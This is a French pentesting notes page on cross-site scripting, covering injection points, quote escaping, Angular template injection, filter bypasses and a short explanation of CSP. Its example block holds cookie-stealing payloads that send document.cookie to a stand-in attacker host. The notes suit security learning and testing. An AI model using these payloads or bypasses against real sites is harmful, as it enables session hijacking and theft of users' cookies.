> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/web/client/xss.md).

# XSS

Cross-site scripting

Chercher des points d'entrés dans :

* les paramètres (URL)
* les cookies (voir avec burp ou dans la section réseau du navigateur)

Regarder où sont écris sur la page les inputs (dans des balises, directement sur la page, etc.) certains peuvent être vulnérables et d'autres non (tester avec le Burp repeater).

Pour escape des balises essayer différents guillements `"`, `'`, `` ` ``. Si on donne un lien (XSS réfléchie) on peut aussi faire en sorte qu'une requête soit faite quand la souris est passé sur l'URL (pas besoin de cliquer dans ce cas là pour activer l'exploit) (option `onmouseover` dans une balise).

Pour DOM angular : `{{ }}` vérifier la version d'angular utilisée en haut de la page (balise script). Tester des payloads de [payloadallthethings ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/5%20-%20XSS%20in%20Angular.md).

Si filtrage de mots clés comme `"http"`:

* on peux envoyer sans `http` avec `//`
  * `document.location='//site-attaquant.com'`
  * est équivalent à
  * `document.location='http://site-attaquant.com'`
* concaténation avec `+` ou `.concat`
  * `http://site-vulnerable?param='h'+'ttp://site-attaquant'`
* base64

En cas de filtres pour les XSS DOM on peut remplacer:

* `;` par un saut de ligne `\n` (`%0a`)
* `+` par `.concat`
* essayer HTML encoding / URL encoding (+ double encoding)
* essayer `"`, `'` et `` ` ``

Essayer encodeURIComponent() et decodeURIComponent("mot doublement encodé url")

**Exemples de redirection**

```
document.write('<img src="https://site-attaquant?cookie=' + document.cookie + '">')
document.location = "https://site-attaquant?cookie=" + document.cookie
window.location = "https://site-attaquant?cookie=" + document.cookie
document.location = "https://site-attaquant?cookie=" + document.cookie
location = "https://site-attaquant?cookie=" + document.cookie
location = atob("<url encodé en base64 pour bypass des filtres>")
```

**Contournement de filtres**

{% embed url="<https://github.com/Edr4/XSS-Bypass-Filters>" %}

CSP: ajoute un entête HTTP qui définit les sources depuis lesquelles des ressources peuvent être récupérées.

* nonce: une valeur imprévisible qui doit être dans la balise script pour qu'elle soit acceptée
* hash: un hash du code javascript accepté
